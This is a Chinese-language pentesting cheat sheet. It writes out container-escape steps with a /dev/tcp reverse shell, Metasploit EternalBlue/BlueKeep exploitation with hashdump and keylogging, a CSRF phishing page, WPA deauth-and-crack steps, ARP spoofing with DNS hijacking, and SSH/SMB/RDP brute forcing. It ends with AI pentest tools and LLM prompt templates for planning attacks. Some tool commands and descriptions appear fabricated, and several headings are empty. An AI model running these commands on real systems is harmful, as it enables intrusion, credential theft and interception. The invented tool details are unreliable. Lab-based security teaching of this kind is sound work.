afl-fuzz -i input -o output ./target_fuzz @@

# ===== 并行 Fuzzing =====
afl-fuzz -i input -o output -M master ./target @@
afl-fuzz -i input -o output -S slave1 ./target @@

# ===== 字典辅助 (提升效率) =====
afl-fuzz -x dictionary.dict -i input -o output ./target @@

Web 协议 Fuzzing

# ===== Burp Intruder (Payload位置) =====
# → Payload类型: Numbers, Dates, Brute Forcer
# → 导入: /usr/share/seclists/Fuzzing/

# ===== ffuf — 高速Web Fuzzer =====
# 目录/端点Fuzzing
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,403
ffuf -u https://target.com/api/FUZZ -w api_endpoints.txt

# POST数据Fuzzing
ffuf -X POST -u https://target.com/login \
  -d 'username=FUZZ&password=admin' \
  -w usernames.txt -mr 'incorrect'

# ===== wfuzz =====
wfuzz -c -z file,wordlist.txt --hc 404 \
  http://target.com/FUZZ

# ===== Param Miner (Burp BApp) =====
# 自动发现隐藏的参数: GET/POST/Cookie/Header

容器逃逸方法全解

# ===== 1. 特权容器 (--privileged) 逃逸 =====
fdisk -l                          # 发现宿主机磁盘 /dev/sda1
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash        # 宿主机 Root Shell

# ===== 2. Docker Socket 挂载 =====
# 从容器内:
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -d \
  -v /:/host --privileged alpine chroot /host

# ===== 3. cgroup release_agent 逃逸 =====
# CVE-2022-0492: cap_sys_admin + cgroup v1 writable
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/escape" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /escape
echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' >> /escape
chmod +x /escape
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.proces"

# ===== 4. /proc 文件系统逃逸 =====
# 如果 /proc 共享:
cat /proc/1/cgroup                 # 查看宿主机init进程的cgroup
cat /proc/1/environ                # 查看宿主机init进程的环境变量

# ===== 5. ptrace 注入宿主机进程 =====
# 条件: cap_sys_ptrace
# 注入 shellcode 到宿主机进程 (PID 1)

# ===== 6. 内核漏洞逃逸 =====
# 共享内核是容器的致命弱点
# CVE-2016-5195 (DirtyCow): 内核写入任意文件
# CVE-2020-14386: AF_PACKET 溢出

容器安全检测清单

# ===== Docker 安全评估 (docker-bench-security) =====
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
sudo sh docker-bench-security.sh

# ===== 容器内信息收集 =====
# 检查 capability
cat /proc/self/status | grep Cap
capsh --print                # 详细cap列表

# 检查敏感挂载
cat /proc/mounts | grep -E 'docker|overlay|sys|proc'

# 检查Docker Socket
ls -la /var/run/docker.sock 2>/dev/null

# 检查特权模式
cat /proc/self/status | grep -i seccomp
cat /proc/1/status | grep -i seccomp

# ===== 镜像安全扫描 =====
# Trivy — 镜像漏洞扫描
trivy image target-app:latest
# Dockle — 镜像最佳实践检查
dockle target-app:latest

MS17-010 永恒之蓝 (EternalBlue)

# 步骤1: 搜索 MS17-010 相关模块
msf6 > search ms17-010

# 步骤2: 使用辅助模块扫描目标
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(...) > set RHOSTS 192.168.31.206
msf6 auxiliary(...) > exploit
# 返回: Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 x64

# 步骤3: 调用 Exploit 模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 192.168.31.206
msf6 exploit(...) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 192.168.31.101
msf6 exploit(...) > exploit

# 步骤4: 后渗透操作
meterpreter > getuid        # 查看权限 (NT AUTHORITY\SYSTEM)
meterpreter > hashdump      # 导出用户密码哈希
meterpreter > ps            # 列出所有进程
meterpreter > shell         # 获取系统 Shell
meterpreter > keyscan_start # 键盘记录
meterpreter > keyscan_dump  # 导出记录

CVE-2019-0708 BlueKeep (远程桌面漏洞)

# 步骤1: 搜索 BlueKeep 漏洞模块
msf6 > search cve-2019-0708

# 步骤2: 调用 Exploit
msf6 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf6 exploit(...) > set RHOST 192.168.31.206
msf6 exploit(...) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 192.168.31.101

# 步骤3: 查看支持的目标系统版本并选择
msf6 exploit(...) > show targets
#   Id  Name
#   --  ----
#   0   Automatic targeting via fingerprinting
#   1   Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
#   2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VirtualBox 6)
#   3   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)
#   4   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)
#   5   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)
#   6   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
#   7   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)
#   8   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)

msf6 exploit(...) > set target 4  # 根据虚拟机平台选择
msf6 exploit(...) > run

# 步骤4: 后渗透 — VNC 远程桌面控制
meterpreter > run vnc
# 创建反向 VNC Stager, 实现远程桌面可视化控制

# ⚠️ 注意: 若攻击失败可能导致目标蓝屏重启

CVE-2020-0796 永恒之黑 (SMBGhost)

# Metasploit 中的 CVE-2020-0796 利用模块
msf6 > search cve-2020-0796
msf6 > use exploit/windows/local/cve_2020_0796_smbghost
# 该漏洞利用方式与 MS17-010 类似，SMB 协议层面的远程代码执行

CSRF 原理与 DVWA 实验环境

CSRF (Cross-Site Request Forgery 跨站请求伪造) — 也称为 one-click attack 或 session riding。利用站点对已认证用户浏览器的信任，挟持用户执行非本意操作。

CSRF 漏洞利用条件：

• 目标客户端已完成身份认证（已登录状态）
• 新请求的提交不需要重新身份认证或确认机制
• 服务器对用户提交的重要请求缺少确认机制或二次认证

攻击场景：修改密码、修改关联邮箱/手机号、转账请求、投票、社交关注等。

实验拓扑： Kali (攻击者 192.168.31.101) → Win7 (受害者 192.168.31.216) → CentOS7 DVWA (192.168.31.120)

Low 级别 — 无任何防护

# 源码分析: 参数直接传入数据库，无任何验证
# $pass_new 和 $pass_conf 直接接收 GET 参数并执行 UPDATE

# 1. 正常修改密码抓包，URL 结构:
http://192.168.31.120/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

# 2. 构造恶意 URL (修改密码为 hacker123):
http://192.168.31.120/dvwa/vulnerabilities/csrf/?password_new=hacker123&password_conf=hacker123&Change=Change#

# 3. 构造社工页面 (Kali /var/www/html/csrf.html):
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>9.9元领取苹果XS</title>
</head>
<body>
<a href='http://192.168.31.120/dvwa/vulnerabilities/csrf/?password_new=hacker123&password_conf=hacker123&Change=Change'>
  9.9元领取苹果XS
</a>
</body>
</html>

# 4. 启动 Kali Web 服务并诱导点击
service apache2 start
# 受害者访问 http://192.168.31.101/csrf.html → 点击链接 → 密码被修改

# 5. 短链接隐藏 (公网场景):
# 新浪短链接: http://sina.lt/ — 隐藏敏感参数

Medium 级别 — Referer 校验与绕过

# 源码新增防护:
# stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME'])
# stripos() 函数: 不区分大小写查找字符串位置

# 原始请求 Referer:
# Referer: http://192.168.31.120/DVWA-master/vulnerabilities/csrf/

# 伪造请求 Referer:
# Referer: http://192.168.31.101/csrf.html  ← 找不到 192.168.31.120

# ⚡ 绕过方法: 目录名伪造 Referer
mkdir /var/www/html/192.168.31.120
mv /var/www/html/csrf.html /var/www/html/192.168.31.120/
# 新 URL: http://192.168.31.101/192.168.31.120/csrf.html
# 此时 Referer 包含目标 IP，通过 stripos 校验！

# 受害者访问伪造URL → 密码修改成功 → 使用新密码登录

High 级别 — Token 令牌防护

# 源码分析: 增加 Anti-CSRF Token 令牌验证
# 每次请求生成随机 Token，攻击者无法预知

# 防御机制:
# user_token 参数与服务器 Session 绑定
# 攻击者无法获取受害者浏览器中的有效 Token
# → 仅靠 CSRF 链接无法直接利用

# 可能的绕过思路 (需配合 XSS):
# 1. 利用 XSS 获取当前页面的 user_token
# 2. 在恶意页面中 AJAX 动态获取 Token 后提交

Impossible 级别 — 二次认证

# 源码分析: Token + 原密码二次认证
# 修改密码时要求输入当前密码确认

# 防御机制:
# 1. Anti-CSRF Token (同 High 级别)
# 2. 需要输入原始密码 → 攻击者无法知晓
# → CSRF 基本无法利用

# 这是 CSRF 防御的最佳实践:
# - 重要操作 (密码修改/转账/解绑) 要求二次身份确认
# - 结合 Token 验证机制
# - 关键操作增加短信/邮箱验证码

CSRFTester 自动化探测工具

无线安全基础概念

Aircrack-ng 套件概述

Aircrack-ng 是与 802.11 标准无线网络分析相关的安全软件套件，支持任何监听模式网卡，可嗅探 802.11a/b/g/n 数据。涵盖四大功能领域：

airmon-ng — 无线网卡监听模式

# 1. 连接无线网卡到 Kali 虚拟机
# 虚拟机 → 可移动设备 → 选择无线网卡

# 2. 查看网卡状态
ifconfig -a            # 查看所有网卡 (含未激活)
ifconfig wlan0 up      # 启动无线网卡
iwconfig               # 查看网卡无线模式

# 3. 检查网卡芯片与干扰进程
airmon-ng              # 显示网卡接口、芯片信息
airmon-ng check        # 检查干扰进程
airmon-ng check kill   # 杀死干扰进程 (保留 NetworkManager)

# 4. 启用监听模式
airmon-ng start wlan0  # 网卡进入 Monitor 模式
iwconfig               # 确认网卡名变为 wlan0mon

# 5. 关闭监听模式 (测试完成后)
airmon-ng stop wlan0mon

airodump-ng — 无线网络扫描与抓包

# 1. 扫描周边所有 WiFi
airodump-ng wlan0mon

# 输出字段说明:
#  BSSID   - AP的MAC地址 (WiFi路由器)
#  PWR     - 信号强度 (-0到-50极好, -50到-75一般, -75到-130弱)
#  RXQ     - 最近10秒接收数据帧百分比 (需 -c 固定信道)
#  Beacons - 接收到的Beacon帧数量
#  CH      - 信道号
#  ENC     - 加密类型 (WEP/WPA/WPA2/OPN)
#  CIPHER  - 加密套件 (CCMP/TKIP/WEP)
#  AUTH    - 认证方式 (PSK个人/MGT企业)
#  ESSID   - WiFi名称 (隐藏AP可能为空)
#  STATION - 客户端MAC地址
#  Probes  - 客户端探测的ESSID名称

# 2. 指定信道扫描
airodump-ng wlan0mon -c 6

# 3. 指定AP抓包 (含握手包)
airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture
#  -w 保存抓包数据到 capture-01.cap 文件

aireplay-ng — 10种注入攻击方式

# 测试注入能力
aireplay-ng -9 wlan0mon

# 解除认证攻击 (强制客户端重连以抓取握手包):
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
#  -0  Deauth攻击, 10=发送次数
#  -a  AP的MAC地址
#  -c  客户端MAC地址

# 修改MAC地址 (绕过MAC过滤):
ifconfig wlan0mon down
macchanger -m 00:11:22:33:44:55 wlan0mon
ifconfig wlan0mon up

WPA/WPA2 PSK 完整破解流程

# 第一步: 抓包 (终端1)
airodump-ng wlan0mon --bssid 8C:53:C3:D8:B5:55 -c 6 -w wpa
#  保持运行，等待握手包

# 第二步: 踢客户端下线 (终端2 — 同时进行)
aireplay-ng -0 10 -a 8C:53:C3:D8:B5:55 -c 52:3F:03:9E:2E:E9 wlan0mon
#  客户端断开 → 自动重连 → 产生握手包

# 第三步: 确认握手包 (回到终端1)
#  出现 "WPA handshake: 8C:53:C3:D8:B5:55" → Ctrl+C 停止抓包

# 第四步: 破解密码
aircrack-ng -w /path/to/password.txt wpa-01.cap
#  -w  指定密码字典

# Kali 自带字典:
ls /usr/share/wordlists/
gunzip /usr/share/wordlists/rockyou.txt.gz     # 解压大字典 (14M+条)
aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa-01.cap

握手包原理与字典策略

握手包抓取原理：

1. 客户端向AP发送连接认证请求 ("您好!")
2. AP将一段随机信息发送给客户端 ("你是?")
3. 客户端将随机信息加密后发回AP ("这是我的名片")
4. AP检查加密结果 → 正确则同意连接

aircrack-ng 对截获的握手包进行离线字典攻击，逐一尝试密码并验证加密结果是否匹配。

Fern WiFi Cracker — 图形化破解工具

# 打开 Fern WiFi Cracker
# 步骤1: 选择无线网卡
# 步骤2: 点击 "Scan for Access Points"
# 步骤3: 选择目标 AP (WPA加密)
# 步骤4: 加载准备好的密码字典
# 步骤5: 自动抓包 → 等待握手 → 字典破解
# 步骤6: Key Database 中查看已破解密码

无线防御建议

1. 使用复杂密码： testak47521test 远比 ak47521 安全
2. 修改路由器后台密码： 勿使用默认 admin/admin
3. 不泄露Wi-Fi密码： 不告诉不可信人员
4. 设备不Root/越狱： Root后的设备等于公交车
5. 定期检查连接设备： 发现陌生MAC立即封禁并修改密码
6. 使用 WPA2/WPA3-PSK： 禁用 WEP, 定期更换密码

ARP 欺骗原理 (中间人攻击

ARP (Address Resolution Protocol) — 根据IP地址获取物理MAC地址的协议。ARP基于"传闻"工作，无验证机制，收到任何响应包都会更新缓存，极易被欺骗。

MITM 攻击原理： 将攻击者主机虚拟放置在通信双方之间，通过ARP欺骗使流量经过攻击者主机，实现双向欺骗：

• 欺骗客户端：告诉客户端 "网关的MAC = 攻击者的MAC"
• 欺骗网关：告诉网关 "客户端的MAC = 攻击者的MAC"
• 同时开启IP转发：使客户端正常上网不被察觉

arpspoof 实施 ARP 欺骗

# 环境: Kali (攻击者) + Windows7 (受害者 192.168.31.216) + 网关 (192.168.31.1)

# 步骤1: 安装 dsniff 工具包 (含 arpspoof)
apt -y install dsniff

# 步骤2: 开启 IP 转发 (让受害者正常上网)
echo 1 > /proc/sys/net/ipv4/ip_forward

# 步骤3: 执行双向 ARP 欺骗
arpspoof -t 192.168.31.216 -r 192.168.31.1
#  -t  指定欺骗的目标主机IP
#  -r  指定网关IP
# 执行后持续发送ARP欺骗包 → 所有流量流经Kali

# 步骤4: 在受害者机器上验证
arp -a   # 发现网关MAC已变为Kali的MAC地址

Driftnet — 图片嗅探与还原

# 安装 Driftnet
apt -y install driftnet

# 方式1: 预览模式 — 弹窗实时显示嗅探到的图片
driftnet -i eth0
#  -i  指定网卡接口 (只需接口，不需要IP)
#  执行后弹出黑色窗口，受害者浏览HTTP图片时实时显示

# 方式2: 保存模式 — 将图片保存到指定目录
mkdir jfedu
driftnet -i eth0 -a -d jfedu -s
#  -a  安静模式，不弹预览窗口
#  -d  指定保存目录
#  -s  静默模式

# 在受害者机器上浏览HTTP图片网站
# 回到 Kali → ls jfedu/ → 查看捕获的所有图片

dsniff — 高级协议密码嗅探

dsniff 是一个综合性的网络嗅探工具包，支持自动协议检测，可嗅探 FTP/Telnet/SMTP/HTTP/POP/SNMP 等数十种协议的认证信息。

# 启动密码嗅探
dsniff -i eth0 -m
#  -i  指定嗅探网口
#  -m  自动启用协议检测

# 查看支持嗅探的协议列表
cat /usr/share/dsniff/dsniff.services

# 示例: 嗅探 FTP 登录密码
# 受害者访问: ftp://ftp-server (输入用户名/密码)
# dsniff 自动解析并显示用户名和密码

# 支持协议包括:
# FTP, Telnet, SMTP, HTTP (Basic Auth), POP, IMAP,
# NNTP, SNMP, LDAP, Rlogin, RIP, OSPF, NFS,
# YP, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster,
# PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere,
# NAI Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase, etc.

Ettercap — 综合中间人攻击框架

# 1. 打开 Ettercap (GUI模式)
ettercap -G

# 2. 选择网卡接口 → 点击 ✓

# 3. 扫描局域网主机:
#    Hosts → Scan for hosts
#    Hosts → Hosts list (列出所有在线主机)

# 4. 设置目标:
#    选择网关 → Add to Target 1
#    选择受害者 → Add to Target 2

# 5. 执行ARP欺骗:
#    Mitm → ARP poisoning → Sniff remote connections

# 6. 密码嗅探:
#    View → Connections (查看实时连接)

# 7. DNS劫持:
#    编辑 /etc/ettercap/etter.dns (第27行加入):
#      *  A   192.168.31.101
#      *  PTR 192.168.31.101
#    启动 apache: systemctl start apache2
#    Plugins → Manage plugins → 双击 dns_spoof
#    受害者访问任意域名 → 自动劫持到 Kali Web服务器

# 8. 受害者验证:
#    访问不存在的域名测试 → 被劫持到攻击者页面

Medusa (美杜莎) — 高速并行暴力破解

Medusa 旨在成为快速、大规模并行、模块化的登录爆破工具。支持大部分允许远程登录的服务，基于线程的并行测试可同时对多个主机/用户/密码执行。

# Medusa 命令通用语法:
medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

# 关键参数:
#  -h [TEXT]   单个目标IP
#  -H [FILE]   目标主机文件
#  -u [TEXT]   单个用户名
#  -U [FILE]   用户名文件
#  -p [TEXT]   单个密码
#  -P [FILE]   密码字典文件
#  -C [FILE]   用户名:密码组合文件
#  -O [FILE]   输出日志到文件
#  -M [TEXT]   模块名称 (必需)
#  -e [n/s/ns] n=空密码, s=密码=用户名
#  -n [NUM]    非默认端口
#  -t [NUM]    线程数量
#  -F          首个密码命中即停止
#  -d          列出所有可用模块

Medusa 破解 Windows 文件共享 (SMB)

# 前提: 目标开启文件共享 (C$, ADMIN$)
# 验证共享: net share (目标Windows上执行)
# 确认445端口开放: nmap -p 445 192.168.31.216

# Medusa SMB 破解:
medusa -M smbnt -h 192.168.31.216 -e ns -F -u administrator -P pass.txt
#  -M smbnt  SMB NT协议模块
#  -e ns     尝试空密码 + 密码=用户名
#  -F        破解成功即停止

# 破解成功后验证:
# Windows运行: \\192.168.31.216\c$
# 输入破解的 administrator 密码 → 访问C盘共享

Medusa 破解 SSH

# 暴力破解 Linux SSH root 密码
medusa -M ssh -h 192.168.31.120 -e ns -F -u root -P pass.txt

# 多线程 + 日志输出
medusa -M ssh -h 192.168.31.120 -u root -P ./pass.txt -t 8 -O ./ssh.log
#  -t 8      8个并行线程
#  -O        输出破解日志

# SSH 连接验证:
ssh root@192.168.31.120  # 输入破解的密码

Medusa 破解 MySQL

# 前提: MySQL允许远程root登录
# 在目标CentOS上配置:
yum -y install mariadb-server
systemctl start mariadb
mysqladmin -u root password "targetpass123"
mysql -u root -p targetpass123
MariaDB> grant all privileges on *.* to 'root'@'%' identified by 'targetpass123' with grant option;

# Medusa MySQL 破解:
medusa -M mysql -h 192.168.31.120 -e ns -F -u root -P pass.txt

# MySQL 远程连接验证:
mysql -h 192.168.31.120 -u root -p  # 输入破解的密码

Hydra (九头蛇) — 多协议在线破解

Hydra 是另一款爆破神器，支持 Web登录/数据库/SSH/FTP/RDP/SMB 等数十种协议，在 Kali 中预装。

# Hydra 关键参数:
#  -l  单个用户名         -L  用户名字典
#  -p  单个密码           -P  密码字典
#  -s  指定端口           -t  线程数 (默认16)
#  -vV 显示详细执行过程   -e  空密码/用户名=密码测试

# 1. 破解 SMB 文件共享:
hydra -l administrator -P pass.txt smb://192.168.31.216 -vV

# 2. 破解 Windows RDP 远程桌面:
# 前提: 目标开启远程桌面 (默认3389端口, 需手动启用)
# 启用方式: 运行 → sysdm.cpl → 远程 → 允许远程连接
hydra -l administrator -P pass.txt rdp://192.168.31.216 -vV
# ⚠️ v9.0以下版本可能报错: rdp module does not support current protocol
# 解决: apt install --only-upgrade hydra -y

# 3. 破解 SSH:
# 设置目标 root 密码: echo "123456" | passwd --stdin root
hydra -l root -P pass.txt -t 4 ssh://192.168.31.120 -e nsr -vV
#  -e nsr  n=空密码 s=用户名=密码 r=反转用户名(toor)
#  -t 4    限制线程避免拒绝连接

xHydra — 图形化暴力破解

xHydra 是 Hydra 的 GTK 图形界面，配置要点：目标IP、用户名、端口、密码字典、线程数。本质上与命令行 Hydra 完全相同。

# 启动 xHydra
xhydra

# 配置步骤:
# 1. Target 标签: 输入目标IP / 端口 / 协议类型
# 2. Passwords 标签: 配置用户名和密码文件
# 3. Tuning 标签: 设置线程数 / 代理 (可选)
# 4. Start 标签: 点击开始 → 底部显示执行的命令行

# 实际效果等同于:
hydra -l root -P pass.txt -t 8 ssh://192.168.31.120

dirb — Web 目录字典扫描

dirb 是基于字典的 Web 目录扫描工具，通过发起字典攻击并分析响应来发现现有或隐藏的 Web 对象。支持递归扫描、代理、HTTP认证。

# dirb 关键参数:
#  -r      不递归扫描 (默认递归)
#  -a      设置 User-Agent
#  -N      排除指定 HTTP 状态码
#  -p      指定代理
#  -c      指定 Cookie 认证
#  -i      不区分大小写搜索
#  -o      输出结果到文件
#  -X      指定文件扩展名
#  -z      请求间隔 (毫秒)
#  -v      显示详细信息 (含404)
#  -u      登录认证 (user:password)

# 常用扫描示例:
dirb http://192.168.31.120/dvwa                    # 默认扫描
dirb http://192.168.31.120/dvwa -X .php            # 仅扫描 PHP 文件
dirb http://192.168.31.120/dvwa -o dvwa-out.txt    # 输出结果
dirb http://192.168.31.120/dvwa -N 302             # 排除302重定向
dirb http://192.168.31.120/dvwa -z 100             # 请求间隔100ms
dirb http://192.168.31.120/dvwa -r                 # 不递归
dirb http://192.168.31.120/dvwa -v                 # 显示详细信息
dirb http://192.168.31.120/dvwa/login.php -u admin:password  # 带认证

dirsearch — 增强版目录扫描

# 指定扩展名扫描
dirsearch -e php,html,js -u http://192.168.31.120/dvwa

# 指定字典扫描
dirsearch -e php,html,js -u http://192.168.31.120/dvwa -w /usr/share/dirb/wordlists/big.txt

# 递归扫描 (限制3层)
dirsearch -e php,html,js -u http://192.168.31.120/dvwa -r -R 3

# 指定线程 (不建议过大)
dirsearch -e bak,zip,tgz,txt -u http://192.168.31.120/dvwa -t 30

# 指定前缀/后缀
dirsearch -e php -u http://192.168.31.120/dvwa --prefixes .,admin,_,~

# 指定子目录
dirsearch -e php,html,js -u http://192.168.31.120/dvwa --subdirs admin/,folder/,/

# 代理扫描
dirsearch -e php,html,js -u http://192.168.31.120/dvwa --proxy 127.0.0.1:8080

# POST请求扫描
dirsearch -e php,txt,zip -u http://192.168.31.120/dvwa/login.php -t 100 -m POST --data "username=admin"

密码字典生成策略

AI在安全领域的应用全景图

主流LLM模型安全能力对比 (2026)

模型选择决策树

┌─────────────────────────────────┐
│ 你的安全任务是什么？              │
└────────────┬────────────────────┘
             │
    ┌────────┴────────┐
    ▼                 ▼
需要联网/            可离线/隐私敏感
云端推理             本地部署
    │                 │
    ├─ 代码审计 → Claude 4 / DeepSeek V4
    ├─ Payload生成 → DeepSeek V4 / GPT-5
    ├─ 多模态分析 → GPT-5 / Gemini 2.5
    ├─ 长文档分析 → Gemini 2.5 / DeepSeek V4
    │
    └─ 本地代码审计 → DeepSeek V4 (本地) / Qwen 3
       C2开发测试 → Llama 4 / Mistral Large
       敏感数据处理 → Qwen 3 / Llama 4
       离线Payload → DeepSeek V4 / Mistral Large

AI渗透测试工具生态地图

核心原理 — 强化学习渗透模型

DeepExploit将渗透测试建模为马尔可夫决策过程(MDP)：

• 状态(State)： 目标主机信息（开放端口、服务版本、操作系统等）
• 动作(Action)： 渗透操作（扫描端口、利用漏洞、提权等）
• 奖励(Reward)： 成功利用漏洞获得正向奖励，失败获得负向惩罚
• 策略(Policy)： AI学习出的最优攻击路径选择策略

完整安装与配置

# 克隆仓库
git clone https://github.com/13o-bbr-bbq/machine_learning_security.git
cd machine_learning_security/DeepExploit

# 安装依赖
pip install -r requirements.txt

# 必需: 安装并启动Metasploit RPC
sudo apt install metasploit-framework
msfrpcd -P password -S -a 127.0.0.1 -p 55553

# 配置DeepExploit
cp config/config.ini.sample config/config.ini
vim config/config.ini
# [Metasploit]
# msgrpc_host = 127.0.0.1
# msgrpc_port = 55553
# msgrpc_pass = password

# 验证安装
python DeepExploit.py --check

训练与攻击实战

# 1. 训练模式 — 让AI学习攻击策略
python DeepExploit.py --train -t 192.168.1.100 --epochs 200

# 训练参数详解:
# --epochs: 训练轮次，越多越精准 (建议200-1000)
# --learning-rate: 学习率 (默认0.0001)
# --gamma: 折扣因子 (默认0.99)

# 2. 测试模式 — 使用训练好的模型攻击
python DeepExploit.py --test -t 192.168.1.100 --model saved/trained_model.h5

# 3. 多目标批量扫描
echo "192.168.1.100\n192.168.1.101\n192.168.1.102" > targets.txt
python DeepExploit.py --train -t targets.txt --epochs 500

# 4. 指定端口范围
python DeepExploit.py --train -t 192.168.1.100 -p 1-65535

# 5. 使用GPU加速
python DeepExploit.py --train -t 192.168.1.100 --gpu --epochs 1000

# 6. 恢复训练
python DeepExploit.py --train -t 192.168.1.100 --resume saved/model_checkpoint.h5

强化学习奖励函数设计

# DeepExploit的奖励机制 (简化示意)
class RewardCalculator:
    def calculate(self, action, result):
        if action == "port_scan":
            return len(result['open_ports']) * 0.1
        elif action == "vuln_scan":
            return len(result['vulnerabilities']) * 1.0
        elif action == "exploit":
            if result['success']:
                if result['privilege'] == 'root':
                    return 100.0  # 最高奖励
                elif result['privilege'] == 'user':
                    return 50.0
                return 10.0
            return -5.0  # 失败惩罚
        elif action == "post_exploit":
            return len(result['stolen_data']) * 2.0

# 这就是为什么经过足够训练后，
# AI会自动学会优先攻击高价值目标

A3C多线程并行训练架构

# A3C (Asynchronous Advantage Actor-Critic)
# 多个Agent并行探索不同目标，共享学习经验

# 启动协调器
python DeepExploit.py --mode orchestrator --workers 8

# 每个Worker独立运行
python DeepExploit.py --mode worker --id 1 --orchestrator http://coordinator:5000
python DeepExploit.py --mode worker --id 2 --orchestrator http://coordinator:5000
# ... 最多同时8个Worker并行训练

# 分布式训练架构:
# ┌────────────┐
# │ Orchestrator│ ← 全局模型、任务分发
# └──┬──┬──┬──┘
#    │  │  │
#    ▼  ▼  ▼
#  W1  W2  W3 ... ← 各自独立探索，定期同步模型参数

Fuxi架构原理

Fuxi采用CNN+LSTM混合神经网络架构，将HTTP请求/响应建模为序列数据，通过异常检测发现传统规则引擎难以发现的逻辑漏洞：

• CNN层： 提取HTTP流量的空间特征（Header结构、参数模式）
• LSTM层： 捕获请求序列中的时序依赖（业务流程异常）
• Attention机制： 聚焦于安全关键的输入/输出对
• 异常打分： 输出漏洞概率 (0-1)，高于阈值标记为可疑

安装与部署

# 克隆安装
git clone https://github.com/jeffzh3ng/Fuxi.git
cd Fuxi
pip install -r requirements.txt

# 下载预训练模型
python download_models.py
# 模型包括:
# - sql_detector.h5 (SQL注入检测)
# - xss_detector.h5 (XSS检测)
# - logic_bug_detector.h5 (逻辑漏洞检测)
# - anomaly_detector.h5 (通用异常检测)

# 环境验证
python fuxi.py --check-deps

扫描模式对比

# 1. 快速扫描 (基于预训练模型，无爬虫)
python fuxi.py -u http://target.com --mode fast

# 2. 深度扫描 (全爬虫 + AI分析)
python fuxi.py -u http://target.com --mode deep
# 选项:
#   --crawl-depth 5       # 爬虫深度
#   --max-pages 1000       # 最大页面数
#   --concurrent 10        # 并发请求数

# 3. 认证扫描 (登录后扫描)
python fuxi.py -u http://target.com \
  --auth-url http://target.com/login \
  --auth-data '{"username":"test","password":"test"}' \
  --auth-type json

# 4. API扫描模式
python fuxi.py -u http://target.com/api \
  --api-spec swagger.json \  # 支持OpenAPI/Swagger
  --mode api

# 5. 指定漏洞类型
python fuxi.py -u http://target.com \
  --vuln-type "sql,xss,idor,ssrf,ssti"

自定义AI检测模型训练

# 准备训练数据
# train_data.json:
# [
#   {"request": "...", "response": "...", "label": "sql_injection"},
#   {"request": "...", "response": "...", "label": "normal"},
#   ...
# ]

# 训练自定义模型
python fuxi.py --mode train \
  --data train_data.json \
  --model-type cnn_lstm \
  --epochs 100 \
  --batch-size 32 \
  --output custom_model.h5

# 模型评估
python fuxi.py --mode evaluate \
  --model custom_model.h5 \
  --test-data test_data.json \
  --metrics "accuracy,precision,recall,f1"

# 导出为ONNX格式 (用于生产部署)
python fuxi.py --mode export \
  --model custom_model.h5 \
  --format onnx \
  --output custom_model.onnx

Fuxi API编程接口

from fuxi.ai.detector import AIVulnerabilityDetector
from fuxi.scanner import FuxiScanner

# 方式1: 使用高级API
scanner = FuxiScanner(
    target="http://testphp.vulnweb.com",
    mode="deep",
    ai_confidence=0.85
)
results = scanner.scan()
for vuln in results:
    print(f"[{vuln.severity}] {vuln.type}: {vuln.url}")
    print(f"  Confidence: {vuln.ai_confidence:.2%}")
    print(f"  Evidence: {vuln.evidence}")

# 方式2: 直接使用AI检测器
detector = AIVulnerabilityDetector(
    model_path="models/sql_detector.h5",
    threshold=0.85
)

# 分析单个请求
request = {
    "method": "GET",
    "url": "http://target.com/page?id=1' OR '1'='1",
    "headers": {"User-Agent": "Mozilla/5.0"},
    "body": ""
}
prediction = detector.predict(request)
print(f"SQL Injection probability: {prediction['probability']:.2%}")

# 方式3: 批量分析HTTP流量
import pyshark
cap = pyshark.FileCapture('traffic.pcap')
packets = [{"method": "GET", "url": p.http.request_full_uri} for p in cap]
results = detector.predict_batch(packets)

安全Prompt设计五原则

信息收集专用Prompt模板

# 模板1: 资产发现
你是一位OSINT专家。给定目标域名 {target}，请：
1. 列出所有可能的子域名
2. 识别使用的技术栈（通过分析HTTP头、JS库、Cookie等）
3. 发现关联的社交媒体账号和员工信息
4. 查找可能的信息泄露（GitHub、Pastebin、Shodan）
输出格式：Markdown清单，按重要程度排序

# 模板2: 端口扫描结果分析
你是网络渗透专家。以下是Nmap扫描结果：
{nmap_output}
请分析：
1. 识别最可能的攻击面（按风险排序）
2. 每个开放端口对应的已知漏洞
3. 建议的攻击路径（从易到难）
4. 需要注意的防御机制迹象
输出格式：JSON，包含 {port, risk, vulns, attack_vector}

# 模板3: 技术栈指纹分析
